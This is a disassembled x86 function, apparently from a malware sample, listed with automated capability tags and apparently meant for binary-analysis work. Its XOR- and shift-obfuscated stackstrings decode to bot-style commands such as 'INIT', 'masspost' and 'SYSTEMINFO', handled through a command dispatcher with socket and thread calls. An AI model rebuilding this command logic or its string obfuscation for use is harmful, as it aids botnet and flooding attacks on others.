Function at 0x4b15e9
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Terminate process

Disassembly:
push 0x544
mov eax, 0x5ba33a
call fcn.005b73ed
mov eax, ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1cc], eax
xor ebx, ebx
push 9
pop ecx
xor eax, eax
mov dword [ebp - 4], ebx
lea edi, [ebp - 0xbc]
rep stosd dword es:[edi], eax
push 0x61c71c
lea ecx, [ebp - 0xbc]
call fcn.004a120c
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push 0x61ee3c
call fcn.004a120c
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xbc]
call fcn.004b0eff
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
sub esp, 0xc
mov byte [ebp - 4], 2
mov ecx, esp
lea edi, [ebp - 0xa0]
mov dword [ebp - 0x1c8], ecx
push 0x18
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
mov eax, dword [ebp - 0xa0]
sub eax, dword [ebp - 0xa4]
pop esi
cdq
idiv esi
push edi
lea edi, [ebp - 0xa4]
push edi
push eax
call fcn.004ba049
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x40]
call fcn.004b144b
add esp, 0xc
mov byte [ebp - 4], 3
cmp dword [ebp - 0x30], ebx
jne 0x4b16f4
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x4b3ace
mov eax, dword [ebp - 0x20]
cmp edi, eax
je 0x4b20c6
mov esi, eax
mov ecx, edi
call fcn.004a1505
add edi, 0x18
cmp edi, esi
jne 0x4b16e1
jmp 0x4b20c0
mov byte [ebp - 0x224], 0x51
mov byte [ebp - 0x223], 0x56
mov byte [ebp - 0x222], 0x51
mov byte [ebp - 0x221], 0x5c
mov byte [ebp - 0x220], bl
mov al, byte [ebp - 0x224]
mov eax, ebx
sub byte [ebp + eax - 0x224], 8
inc eax
cmp eax, 4
jb 0x4b171e
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
lea edi, [ebp - 0x224]
push eax
call fcn.004a126f
mov ecx, edi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b20d5
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
sub eax, edx
sub eax, 0x48
cmp eax, esi
jb 0x4b1794
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x4b3ace
mov eax, dword [ebp - 0x20]
cmp edi, eax
je 0x4b20c6
mov esi, eax
mov ecx, edi
call fcn.004a1505
add edi, 0x18
cmp edi, esi
jne 0x4b1781
jmp 0x4b20c0
xor eax, eax
lea edi, [ebp - 0x78]
stosd dword es:[edi], eax
push 0xf
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x78], bl
xor eax, eax
lea edi, [ebp - 0x98]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ecx
mov byte [ebp - 0x98], bl
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x58], bl
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x508]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x508]
call fcn.004a1505
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
sub eax, ecx
cdq
idiv esi
cmp eax, 1
jbe 0x4b3af2
lea eax, [ebp - 0x98]
lea edx, [ecx + 0x18]
push eax
lea ecx, [ebp - 0x520]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x520]
call fcn.004a1505
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
sub eax, ecx
cdq
idiv esi
cmp eax, 2
jbe 0x4b3af2
lea eax, [ebp - 0x58]
lea edx, [ecx + 0x30]
push eax
lea ecx, [ebp - 0x538]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x538]
call fcn.004a1505
push ecx
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 7
call fcn.004a2ec0
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 4], 6
mov byte [ebp - 0x2ac], 0x78
mov byte [ebp - 0x2ab], 0x6c
mov byte [ebp - 0x2aa], 0x7e
mov byte [ebp - 0x2a9], 0x7e
mov byte [ebp - 0x2a8], 0x7b
mov byte [ebp - 0x2a7], 0x7a
mov byte [ebp - 0x2a6], 0x7e
mov byte [ebp - 0x2a5], 0x7f
mov byte [ebp - 0x2a4], bl
mov al, byte [ebp - 0x2ac]
pop ecx
sub byte [ebp + ebx - 0x2ac], 0xb
inc ebx
cmp ebx, 8
jb 0x4b18be
sub esp, 0x18
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.004a126f
lea ecx, [ebp - 0x4a8]
call fcn.004a341a
add esp, 0x18
lea edx, [ebp - 0x2ac]
mov ecx, eax
call fcn.004a1b0d
lea ecx, [ebp - 0x4a8]
mov bl, al
call fcn.004a1505
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x78]
push eax
test bl, bl
je 0x4b1af4
push 0x4afed5
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0xa
call fcn.004b9c3c
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0xb
call fcn.004a3735
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0xf8], 0
je 0x4b1b27
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x1d4], esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov byte [ebp - 0x34c], 0x4b
mov byte [ebp - 0x34b], 0x66
mov byte [ebp - 0x34a], 0x6e
mov byte [ebp - 0x349], 0x71
mov byte [ebp - 0x348], 0x6a
mov byte [ebp - 0x347], 0x69
mov byte [ebp - 0x346], 0x25
mov byte [ebp - 0x345], 0x79
mov byte [ebp - 0x344], 0x74
mov byte [ebp - 0x343], 0x25
mov byte [ebp - 0x342], 0x68
mov byte [ebp - 0x341], 0x77
mov byte [ebp - 0x340], 0x6a
mov byte [ebp - 0x33f], 0x66
mov byte [ebp - 0x33e], 0x79
mov byte [ebp - 0x33d], 0x6a
mov byte [ebp - 0x33c], 0x25
mov byte [ebp - 0x33b], 0x55
mov byte [ebp - 0x33a], 0x54
mov byte [ebp - 0x339], 0x58
mov byte [ebp - 0x338], 0x59
mov byte [ebp - 0x337], 0x25
mov byte [ebp - 0x336], 0x79
mov byte [ebp - 0x335], 0x6d
mov byte [ebp - 0x334], 0x77
mov byte [ebp - 0x333], 0x6a
mov byte [ebp - 0x332], 0x66
mov byte [ebp - 0x331], 0x69
mov byte [ebp - 0x330], cl
mov al, byte [ebp - 0x34c]
mov al, byte [ebp + ecx - 0x34c]
sub al, 5
mov byte [ebp + ecx - 0x34c], al
inc ecx
cmp ecx, 0x1c
jb 0x4b1a3c
sub esp, 0x18
lea eax, [ebp - 0x34c]
mov ecx, esp
push eax
call fcn.004a120c
push dword [ebp - 0x1cc]
mov byte [ebp - 4], 0xc
call fcn.004b1529
add esp, 0x34
mov eax, 0x4b1a7b
ret
push 0x4afe50
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0xe
call fcn.004b9c3c
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0xf
call fcn.004a3735
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x100], 0
jmp 0x4b1946
sub esp, 0x18
mov dword [ebp - 4], 6
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1d4], esp
mov ecx, esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 0x12
xor ebx, ebx
mov byte [ebp - 0x1cc], 0x51
mov byte [ebp - 0x1cb], 0x4d
mov byte [ebp - 0x1ca], bl
mov al, byte [ebp - 0x1cc]
mov eax, ebx
sub byte [ebp + eax - 0x1cc], 2
inc eax
cmp eax, 2
jb 0x4b1b64
sub esp, 0x18
lea eax, [ebp - 0x1cc]
mov ecx, esp
push eax
call fcn.004a120c
mov edi, dword [ebp - 0x1d8]
push edi
mov byte [ebp - 4], 6
call fcn.004b1529
mov edx, dword [ebp - 0x44]
add esp, 0x34
cmp edx, 0xf
jbe 0x4b1ba7
mov ecx, dword [ebp - 0x58]
inc edx
call fcn.004a1f75
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], bl
cmp edx, 0xf
jbe 0x4b1bcb
mov ecx, dword [ebp - 0x98]
inc edx
call fcn.004a1f75
mov edx, dword [ebp - 0x64]
cmp edx, 0xf
jbe 0x4b1bdc
mov ecx, dword [ebp - 0x78]
inc edx
call fcn.004a1f75
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x4b3ace
mov eax, dword [ebp - 0x20]
cmp edi, eax
je 0x4b20c6
mov esi, eax
mov ecx, edi
call fcn.004a1505
add edi, 0x18
cmp edi, esi
jne 0x4b1bfc
jmp 0x4b20c0
mov edi, dword [ebp - 0x24]
push 0x18
pop esi
mov eax, dword [ebp - 0x1c]
mov ecx, edi
sub eax, edi
cdq
idiv esi
jmp 0x4b3abd
mov dword [ebp - 0x3a0], 0x51
mov edx, ebx
mov byte [ebp - 0x39c], 2
mov byte [ebp - 0x39b], 5
mov byte [ebp - 0x39a], 0x1e
mov byte [ebp - 0x399], 1
mov al, byte [ebp - 0x39c]
mov byte [ebp - 0x398], bl
mov al, byte [ebp + edx - 0x39c]
mov ecx, dword [ebp - 0x3a0]
xor cl, al
mov byte [ebp + edx - 0x39c], cl
inc edx
cmp edx, 4
jb 0x4b2109
sub esp, 0x18
mov byte [ebp - 0x398], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea edi, [ebp - 0x39c]
push eax
call fcn.004a126f
mov ecx, edi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b2189
xor al, al
mov ecx, 0x634a50
xchg byte [ecx], al
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x4b3ace
mov eax, dword [ebp - 0x20]
cmp edi, eax
je 0x4b20c6
mov esi, eax
mov ecx, edi
call fcn.004a1505
add edi, 0x18
cmp edi, esi
jne 0x4b2176
jmp 0x4b20c0
mov byte [ebp - 0x2d0], 0x5d
mov byte [ebp - 0x2cf], 0x63
mov byte [ebp - 0x2ce], 0x5d
mov byte [ebp - 0x2cd], 0x5e
mov byte [ebp - 0x2cc], 0x4f
mov byte [ebp - 0x2cb], 0x57
mov byte [ebp - 0x2ca], 0x69
mov byte [ebp - 0x2c9], 0x53
mov byte [ebp - 0x2c8], 0x58
mov byte [ebp - 0x2c7], 0x50
mov byte [ebp - 0x2c6], 0x59
mov byte [ebp - 0x2c5], bl
mov al, byte [ebp - 0x2d0]
mov eax, ebx
sub byte [ebp + eax - 0x2d0], 0xa
inc eax
cmp eax, 0xb
jb 0x4b21e4
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
lea edi, [ebp - 0x2d0]
push eax
call fcn.004a126f
mov ecx, edi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b227c
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x1c8], esp
push eax
call fcn.004a126f
sub esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, esp
call fcn.004ac26b
mov edi, dword [ebp - 0x1d8]
push edi
mov byte [ebp - 4], 3
call fcn.004b1529
add esp, 0x34
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov edi, dword [ebp - 0x24]
test edi, edi
je 0x4b3ace
mov eax, dword [ebp - 0x20]
cmp edi, eax
je 0x4b20c6
mov esi, eax
mov ecx, edi
call fcn.004a1505
add edi, 0x18
cmp edi, esi
jne 0x4b2269
jmp 0x4b20c0
mov dword [ebp - 0x21c], 0xf
mov edx, ebx
mov eax, dword [ebp - 0x21c]
xor al, 0x53
mov byte [ebp - 0x218], al
mov eax, dword [ebp - 0x21c]
inc al
xor al, 0x55
mov byte [ebp - 0x217], al
mov eax, dword [ebp - 0x21c]
add al, 2
xor al, 0x49
mov byte [ebp - 0x216], al
mov eax, dword [ebp - 0x21c]
add al, 3
xor al, 0x43
mov byte [ebp - 0x215], al
mov eax, dword [ebp - 0x21c]
add al, 4
xor al, 0x49
mov byte [ebp - 0x214], al
mov eax, dword [ebp - 0x21c]
add al, 5
xor al, 0x44
mov byte [ebp - 0x213], al
mov eax, dword [ebp - 0x21c]
add al, 6
mov byte [ebp - 0x211], bl
xor al, 0x45
mov byte [ebp - 0x212], al
mov al, byte [ebp - 0x218]
mov al, byte [ebp + edx - 0x218]
mov ecx, dword [ebp - 0x21c]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x218], cl
inc edx
cmp edx, 7
jb 0x4b2302
sub esp, 0x18
mov byte [ebp - 0x211], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x218]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b2c51
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x1d4], esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 0x3cc], 0x22
sub esp, 0x18
mov byte [ebp - 0x3c8], 0x65
mov esi, esp
mov byte [ebp - 0x3c7], 0x6d
mov byte [ebp - 0x3c6], 0x6d
mov byte [ebp - 0x3c5], 0x66
mov byte [ebp - 0x3c4], 0x60
mov byte [ebp - 0x3c3], 0x7b
mov byte [ebp - 0x3c2], 0x67
mov byte [ebp - 0x3c1], 2
mov byte [ebp - 0x3c0], 0x71
mov byte [ebp - 0x3bf], 0x6b
mov byte [ebp - 0x3be], 0x70
mov byte [ebp - 0x3bd], 3
mov al, byte [ebp - 0x3c8]
mov byte [ebp - 0x3bc], bl
call fcn.004b5dac
push eax
mov ecx, esi
call fcn.004a120c
mov edi, dword [ebp - 0x1d8]
push edi
mov byte [ebp - 4], 3
call fcn.004b1529
add esp, 0x34
lea ecx, [ebp - 0x174]
call fcn.004a12f0
lea ecx, [ebp - 0x15c]
call fcn.004a12f0
push ecx
mov esi, 0x104
mov byte [ebp - 4], 0x16
push esi
call fcn.004b772c
push ebx
lea ecx, [ebp - 0x15c]
call fcn.004a115d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [ebp - 0x2c4], 0x24
lea ecx, [ebp - 0x2c4]
mov eax, dword [ebp - 0x2c4]
xor al, 0x65
mov byte [ebp - 0x2c0], al
mov eax, dword [ebp - 0x2c4]
inc al
xor al, 0x78
mov byte [ebp - 0x2bf], al
mov eax, dword [ebp - 0x2c4]
add al, 2
xor al, 0x69
mov byte [ebp - 0x2be], al
mov eax, dword [ebp - 0x2c4]
add al, 3
xor al, 0x74
mov byte [ebp - 0x2bd], al
mov eax, dword [ebp - 0x2c4]
add al, 4
xor al, 0xd
mov byte [ebp - 0x2bc], al
mov eax, dword [ebp - 0x2c4]
add al, 5
mov byte [ebp - 0x2ba], bl
xor al, 0xa
mov byte [ebp - 0x2bb], al
mov al, byte [ebp - 0x2c0]
call fcn.004b5d00
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x3b8], 0x6f
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 0x3b4], 0xb
mov byte [ebp - 0x3b3], 0xa
mov byte [ebp - 0x3b2], 3
mov byte [ebp - 0x3b1], 0x4f
mov byte [ebp - 0x3b0], 0x4a
mov byte [ebp - 0x3af], 0x5f
mov byte [ebp - 0x3ae], 0x4f
mov byte [ebp - 0x3ad], 0x40
mov byte [ebp - 0x3ac], 0x29
mov byte [ebp - 0x3ab], 0x4f
mov byte [ebp - 0x3aa], 0x40
mov byte [ebp - 0x3a9], 0x3c
mov byte [ebp - 0x3a8], 0x4f
mov byte [ebp - 0x3a7], 0x40
mov byte [ebp - 0x3a6], 0x3e
mov byte [ebp - 0x3a5], 0x62
mov byte [ebp - 0x3a4], 0x65
mov al, byte [ebp - 0x3b4]
mov byte [ebp - 0x3a3], bl
call fcn.004b5d24
mov byte [ebp - 0x32c], 0x27
lea ecx, [ebp - 0x32c]
mov byte [ebp - 0x32b], 0x25
mov byte [ebp - 0x32a], 0x34
mov byte [ebp - 0x329], 0x4b
mov byte [ebp - 0x328], 0x25
mov byte [ebp - 0x327], 0x34
mov byte [ebp - 0x326], 0x58
mov byte [ebp - 0x325], 0x25
mov byte [ebp - 0x324], 0x34
mov byte [ebp - 0x323], 0x56
mov byte [ebp - 0x322], 0x12
mov byte [ebp - 0x321], 0xf
mov dword [ebp - 0x1d8], eax
mov byte [ebp - 0x320], bl
mov al, byte [ebp - 0x32c]
call fcn.004b5d46
mov dword [ebp - 0x310], 0x49
mov ebx, eax
mov ecx, dword [ebp - 0x310]
xor cl, 0x64
mov byte [ebp - 0x30c], cl
mov ecx, dword [ebp - 0x310]
inc cl
xor cl, 0x65
mov byte [ebp - 0x30b], cl
mov ecx, dword [ebp - 0x310]
add cl, 2
xor cl, 0x6c
mov byte [ebp - 0x30a], cl
lea ecx, [ebp - 0x310]
mov eax, dword [ebp - 0x310]
add al, 3
xor al, 0x20
mov byte [ebp - 0x309], al
mov eax, dword [ebp - 0x310]
add al, 4
mov byte [ebp - 0x307], 0
xor al, 0x22
mov byte [ebp - 0x308], al
mov al, byte [ebp - 0x30c]
call fcn.004b5d55
push 0xc
pop edx
mov dword [ebp - 0x298], edx
mov edi, eax
mov ecx, dword [ebp - 0x298]
xor cl, 0x74
mov byte [ebp - 0x294], cl
mov ecx, dword [ebp - 0x298]
inc cl
xor cl, 0x69
mov byte [ebp - 0x293], cl
mov eax, dword [ebp - 0x298]
add al, 2
xor al, 0x6d
mov byte [ebp - 0x292], al
mov eax, dword [ebp - 0x298]
add al, 3
xor al, 0x65
lea ecx, [ebp - 0x298]
mov byte [ebp - 0x291], al
mov eax, dword [ebp - 0x298]
add al, 4
xor al, 0x6f
mov byte [ebp - 0x290], al
mov eax, dword [ebp - 0x298]
add al, 5
xor al, 0x75
mov byte [ebp - 0x28f], al
mov eax, dword [ebp - 0x298]
add al, 6
xor al, 0x74
mov byte [ebp - 0x28e], al
mov eax, dword [ebp - 0x298]
add al, 7
xor al, 0x20
mov byte [ebp - 0x28d], al
mov eax, dword [ebp - 0x298]
add al, 8
xor al, 0x2f
mov byte [ebp - 0x28c], al
mov eax, dword [ebp - 0x298]
add al, 9
xor al, 0x74
mov byte [ebp - 0x28b], al
mov eax, dword [ebp - 0x298]
add al, 0xa
xor al, 0x20
mov byte [ebp - 0x28a], al
mov eax, dword [ebp - 0x298]
add al, 0xb
xor al, 0x35
mov byte [ebp - 0x289], al
mov eax, dword [ebp - 0x298]
add al, dl
xor al, 0xd
mov byte [ebp - 0x288], al
mov eax, dword [ebp - 0x298]
add al, 0xd
mov byte [ebp - 0x286], 0
xor al, 0xa
mov byte [ebp - 0x287], al
mov al, byte [ebp - 0x294]
call fcn.004b5d79
mov byte [ebp - 0x304], 0x45
lea ecx, [ebp - 0x304]
mov byte [ebp - 0x303], 0x6a
mov esi, eax
mov byte [ebp - 0x302], 0x68
mov byte [ebp - 0x301], 0x6d
mov byte [ebp - 0x300], 0x74
mov byte [ebp - 0x2ff], 0x25
mov byte [ebp - 0x2fe], 0x74
mov byte [ebp - 0x2fd], 0x6b
mov byte [ebp - 0x2fc], 0x6b
mov byte [ebp - 0x2fb], 0x12
mov byte [ebp - 0x2fa], 0xf
mov byte [ebp - 0x2f9], 0
mov al, byte [ebp - 0x304]
call fcn.004b5d9d
push eax
lea ecx, [ebp - 0x490]
call fcn.004a120c
push esi
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x478]
call fcn.004a1945
pop ecx
push edi
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x460]
call fcn.004a1945
mov byte [ebp - 4], 0x19
mov dword [esp], 0x6358b0
mov edx, eax
lea ecx, [ebp - 0x448]
call fcn.004b8b49
pop ecx
push ebx
mov edx, eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x430]
call fcn.004a1945
pop ecx
push dword [ebp - 0x1d8]
mov edx, eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x418]
call fcn.004a1945
pop ecx
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x400]
push dword [ebp - 0x1d4]
mov edx, eax
call fcn.004a1945
pop ecx
push eax
lea ecx, [ebp - 0x174]
call fcn.004a119e
lea ecx, [ebp - 0x400]
call fcn.004a1199
lea ecx, [ebp - 0x418]
call fcn.004a1199
lea ecx, [ebp - 0x430]
call fcn.004a1199
lea ecx, [ebp - 0x448]
call fcn.004a1199
lea ecx, [ebp - 0x460]
call fcn.004a1199
lea ecx, [ebp - 0x478]
call fcn.004a1199
lea ecx, [ebp - 0x490]
mov byte [ebp - 4], 0x16
call fcn.004a1199
lea ecx, [ebp - 0x1c4]
call fcn.004b00e3
sub esp, 0x18
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x174]
mov dword [ebp - 0x1d0], esp
mov ecx, esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x284], 0x56
mov eax, dword [ebp - 0x284]
xor al, 0x5c
mov byte [ebp - 0x280], al
mov eax, dword [ebp - 0x284]
inc al
xor al, 0x69
mov byte [ebp - 0x27f], al
mov eax, dword [ebp - 0x284]
add al, 2
xor al, 0x77
mov byte [ebp - 0x27e], al
mov eax, dword [ebp - 0x284]
add al, 3
xor al, 0x74
mov byte [ebp - 0x27d], al
mov eax, dword [ebp - 0x284]
add al, 4
xor al, 0x6b
mov byte [ebp - 0x27c], al
mov eax, dword [ebp - 0x284]
add al, 5
xor al, 0x6d
mov byte [ebp - 0x27b], al
mov eax, dword [ebp - 0x284]
add al, 6
xor al, 0x73
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x27a], al
sub esp, 0x18
mov eax, dword [ebp - 0x284]
xor ebx, ebx
add al, 7
mov esi, esp
xor al, 0x2e
mov byte [ebp - 0x279], al
mov eax, dword [ebp - 0x284]
add al, 8
xor al, 0x62
mov byte [ebp - 0x278], al
mov eax, dword [ebp - 0x284]
add al, 9
xor al, 0x61
mov byte [ebp - 0x277], al
mov eax, dword [ebp - 0x284]
add al, 0xa
mov byte [ebp - 0x275], bl
xor al, 0x74
mov byte [ebp - 0x276], al
mov al, byte [ebp - 0x280]
call fcn.004b5cdc
push eax
lea edx, [ebp - 0x15c]
mov ecx, esi
call fcn.004b8af8
pop ecx
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 0x1e
call fcn.004a31d6
mov byte [ebp - 0x2f8], 0x65
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x2f7], 0x72
mov byte [ebp - 0x2f6], 0x80
mov byte [ebp - 0x2f5], 0x7d
mov byte [ebp - 0x2f4], 0x74
mov byte [ebp - 0x2f3], 0x76
mov byte [ebp - 0x2f2], 0x7c
mov byte [ebp - 0x2f1], 0x37
mov byte [ebp - 0x2f0], 0x6b
mov byte [ebp - 0x2ef], 0x6a
mov byte [ebp - 0x2ee], 0x7d
mov byte [ebp - 0x2ed], bl
mov al, byte [ebp - 0x2f8]
call fcn.004b5ccd
push eax
lea edx, [ebp - 0x15c]
lea ecx, [ebp - 0x26c]
call fcn.004b8af8
pop ecx
push eax
push ecx
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x20
call fcn.004b9cb2
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 0x22
call fcn.004a1199
lea ecx, [ebp - 0x10c]
call fcn.004a3735
lea ecx, [ebp - 0x10c]
call fcn.004a3728
jmp 0x4b2c4a
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 0x2ec], 0x77
mov edx, ebx
mov byte [ebp - 0x2e8], 0x25
mov byte [ebp - 0x2e7], 0x32
mov byte [ebp - 0x2e6], 0x24
mov byte [ebp - 0x2e5], 0x23
mov byte [ebp - 0x2e4], 0x36
mov byte [ebp - 0x2e3], 0x25
mov byte [ebp - 0x2e2], 0x23
mov al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2e1], bl
mov al, byte [ebp + edx - 0x2e8]
mov ecx, dword [ebp - 0x2ec]
xor cl, al
mov byte [ebp + edx - 0x2e8], cl
inc edx
cmp edx, 7
jb 0x4b2c9a
sub esp, 0x18
mov byte [ebp - 0x2e1], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x2e8]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b2d25
mov edi, dword [ebp - 0x1d8]
push 1
mov byte [0x634a51], bl
push dword [edi]
call dword [sym.imp.WS2_32.dll_shutdown]
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b2d12
jmp 0x4b3aad
mov dword [ebp - 0x384], 0x2c
mov edx, ebx
mov byte [ebp - 0x380], 0x68
mov byte [ebp - 0x37f], 0x63
mov byte [ebp - 0x37e], 0x7b
mov byte [ebp - 0x37d], 0x62
mov byte [ebp - 0x37c], 0x60
mov byte [ebp - 0x37b], 0x63
mov byte [ebp - 0x37a], 0x6d
mov byte [ebp - 0x379], 0x68
mov al, byte [ebp - 0x380]
mov byte [ebp - 0x378], bl
mov al, byte [ebp + edx - 0x380]
mov ecx, dword [ebp - 0x384]
xor cl, al
mov byte [ebp + edx - 0x380], cl
inc edx
cmp edx, 8
jb 0x4b2d75
sub esp, 0x18
mov byte [ebp - 0x378], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x380]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b31d4
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
sub eax, edx
sub eax, 0x30
cmp eax, 0x18
jb 0x4b2dfe
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b2deb
jmp 0x4b3aad
xor eax, eax
lea edi, [ebp - 0x12c]
stosd dword es:[edi], eax
push 0xf
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], ecx
mov byte [ebp - 0x12c], bl
xor eax, eax
lea edi, [ebp - 0xf4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ecx
mov byte [ebp - 0xf4], bl
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x550]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x550]
call fcn.004a1505
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
sub eax, esi
push 0x18
cdq
pop ecx
idiv ecx
cmp eax, 1
jbe 0x4b3af2
lea eax, [ebp - 0xf4]
lea edx, [esi + 0x18]
push eax
lea ecx, [ebp - 0x4c0]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x4c0]
call fcn.004a1505
mov byte [ebp - 4], 0x27
push 0x34
mov dword [ebp - 0x28], ebx
call fcn.004c2547
mov esi, eax
pop ecx
mov dword [ebp - 0x1d0], esi
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0x28
push eax
mov ecx, esi
call fcn.004a126f
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0x29
lea ecx, [esi + 0x18]
push eax
call fcn.004a126f
mov dword [esi + 0x30], 0x4aff5a
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x2a
push eax
push ebx
push esi
push 0x4be06b
push ebx
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [ebp - 0x60], eax
test eax, eax
je 0x4b302e
mov dword [ebp - 0x28], ebx
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x2b
call fcn.004a3735
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x5c], 0
jne 0x4b194c
sub esp, 0x18
mov dword [ebp - 4], 0x26
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1d0], esp
mov ecx, esp
push eax
call fcn.004a126f
